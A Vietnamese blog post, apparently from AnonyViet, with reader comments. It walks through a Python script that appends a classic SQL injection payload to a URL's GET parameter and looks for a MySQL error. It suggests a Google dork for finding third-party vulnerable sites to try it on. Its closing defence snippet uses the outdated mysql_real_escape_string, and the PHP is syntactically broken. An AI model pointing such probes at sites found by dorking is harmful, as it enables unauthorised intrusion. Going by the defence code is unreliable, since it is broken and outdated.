Trong bài này, AnonyViet sẽ giúp bạn kiểm tra xem trang web của bạn có bị tấn công bởi cú pháp sqli bằng python hay không nhé 🙂 …!!!
Và nó sẽ chỉ hoạt động nếu các biến sử dụng GET method.
Ở đây chúng ta sẽ viết 1 đoạn code bằng ngôn ngữ python.
Chúng ta sẽ cần kết nối internet để check và 1 vulnerable website.
Để tìm 1 trang vulnerable website để thử nghiệm thì các bạn vào google gõ dorks SQLi :
inurl: "index.php? Cat_id ="
Các bạn làm theo từng bước sau đây để viết 1 đoạn code python :
Đầu tiên mở notepad/sublime Text ,… tạo 1 file sau đó lưu lại : new.py
Chúng ta sẽ sử dụng sys, urllib và urllib.request modules. Vì thế import những thư viện sau vào : import sys, urllib, urllib.request hoặc import sys, import urllib và import urllib.request
Tiếp theo : Bây giờ chúng ta sẽ cần chọn kiểu đầu vào.
1. Sử dụng lệnh input(“”) để lấy dữ liệu nhập từ người dùng.
fullurl = input(“Please specify the full vulnerable url: “)
2. Code tạo một yêu cầu web
Đây là phần quan trọng nhất.
resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\'")
body = resp.read()
fullbody = body.decode(‘utf-8’)
Bây giờ làm cho chương trình của chúng ta kiểm tra xem liệu mục tiêu có dễ bị tổn thương hay không, một khi chúng ta có response thì chúng ta phải kiểm tra nếu nó có lỗi SQL.
Chúng ta sẽ sử dụng code này :
if “You have an error in your SQL syntax” in fullbody:
print (“The website is classic SQL injection vulnerable!”)
else:
print (“The website is not classic SQL injection vulnerable!”)
Ok. Giờ chúng ta chạy lên thử nhé :
Sử dụng lệnh : python “name”.py
Sau đó nhập site bạn tìm được lúc đầu vào.
Ok vậy là nó work rồi.
Cách 2 : Sử dụng cho nhanh thì dùng
- python “name”.py -w website
Bây giờ để ngăn chặn Hacker check site mình bằng SQL injection thì mình làm như sau :
Ngăn chặn SQLi on MYSQL đơn giản chỉ cần sử dụng chuỗi mysql_real_escape cho các truy vấn, ví dụ như:
$query = sprintf(“SELECT * FROM users where user=’%s’ AND password=’%s’,
mysql_real_escape_string($username)
mysql_real_escape_string($password)
Chúc các bạn thành công và đồng hành cùng AnonyViet.
Thân ái !!
làm hơi khó ad ơi
Khó chỗ nào ?
Chi tiết vậy mà khó hả bạn
yep . bài viết chi tiết mà
Đúng vậy bài viết đã có đầy đủ cụ thể rồi mà :::>>>
bài viết rất chi tiết mà ??
Bài viết rất hữu ích <3
bài viết rất chi tiết và hữu ích mà :V
Cảm ơn bn nhiều nhé..tiếp tục theo dõi AnonyViet nha ><
Bài viết rất chi tiết và dễ hiểu. Cảm ơn tác giả. Mong tác giả có thêm bài viết về cách khai thác SQL Injection
sao lúc nhập url vào nó không hiện ra kết quả vậy ad
no bao loi:
import urllib.request
ImportError: No module named request